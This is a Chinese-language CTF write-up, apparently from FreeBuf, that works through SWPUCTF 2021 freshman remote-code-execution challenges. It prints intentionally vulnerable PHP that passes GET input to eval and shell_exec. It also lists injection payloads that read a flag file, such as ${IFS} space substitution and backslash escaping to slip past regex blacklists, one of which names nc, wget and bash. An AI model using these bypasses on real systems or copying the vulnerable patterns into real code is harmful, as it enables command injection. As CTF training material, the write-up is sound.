SWPUCTF 2021 RCE 部分解题
1.SWPUCTF 2021 新生赛 easyrce
代码审计
<?php
error_reporting(0); #报错信息无回显
highlight_file(__FILE__); #代码高亮
if(isset($_GET['url'])) #如果在GET请求中存在名为url的参数则执行下面的代码
{
eval($_GET['url']); #代码执行函数将传入的参数当做php代码执行
}
?>
审计完代码就非常明显了
# 先传入一个名为url的参数查看根目录下的文件
?url=system('ls /');
# 没有做任何的过滤直接执行了代码接下来查看flag即可
?url=system('cat /flllllaaaaaaggggggg');
注:eval()函数是一个内置的语言结构,允许执行字符串中的php代码,这个字符串必须包含有效的php代码,并且以分号结束
2.SWPUCTF 2021 新生赛 babyrce
代码审计先
<?php
error_reporting(0); # 报错无回显
header("Content-Type:text/html;charset=utf-8"); #用于设置http响应的头部信息
highlight_file(__FILE__); # 代码高亮
if($_COOKIE['admin']==1) # Cookie传入的参数admin的值为1才会回显下一个php页面否则回显小饼干最好吃啦
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?>
到这里要做的就是在http的请求头里面加上一个Cookie字段并使它传参admin=1
添加请求头添加过Cookie字段后,回显另一个php页面,访问后继续代码审计
<?php
error_reporting(0); # 无报错回显
highlight_file(__FILE__); # 代码高亮
error_reporting(0);
if (isset($_GET['url'])) { # 校验url参数非空
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){ # 正则url参数里面不能含有空格
die('nonono');
}
$a = shell_exec($ip); 将字符串作为命令执行
echo $a; # 输出上面执行结果
}
?>
构造payload
# 这里用${IFS}(内部字段分隔符)来绕过空格
?url=ls${IFS}/
# 查询出结果进一步查询flag
?url=cat${IFS}/flllllaaaaaaggggggg
3.SWPUCTF 2021 新生赛 hardrce
rce类题目常见的代码审计
<?php
header("Content-Type:text/html;charset=utf-8");# 设置http响应的头部信息
error_reporting(0);# 报错无回显
highlight_file(__FILE__);# 代码高亮
if(isset($_GET['wllm']))# 校验GET传入参数wllm是否为空
{
$wllm = $_GET['wllm'];# 将参数wllm赋值给$wllm
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)# 遍历黑名单,将黑名单中的每个元素赋值给$blackitem
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");# 使用正则表达式来检查$wllm里面是否包含黑名单内容
}}
if(preg_match('/[a-zA-Z]/is',$wllm)) # 检查wllm里面是否有字母
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);# 代码执行函数
}
else
{
echo "蔡总说:注意审题!!!";
}
?>
4.SWPUCTF 2021 新生赛 finalrce
审计
<?php
highlight_file(__FILE__);# 代码高亮
if(isset($_GET['url']))# 检验传参url是否为空
{
$url=$_GET['url'];# 将参数的值赋值给变量$url
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))# 正则校验变量url的值
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
?>
不同于上一题,这里没有过滤大小写字母之类的
# 这里使用管道符进行命令的拼接,将前面的输出作为tee命令的输入
?url=l\s / | tee 1.txt
# 将前面查询的结果储存到1.txt里面,然后再查询flag
?url=tac /flllll\aaaaaaggggggg | tee 2.txt
# \为转义符,用作绕过正则
注:exec()函数将字符串作为命令执行并且只输出最后一行内容
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录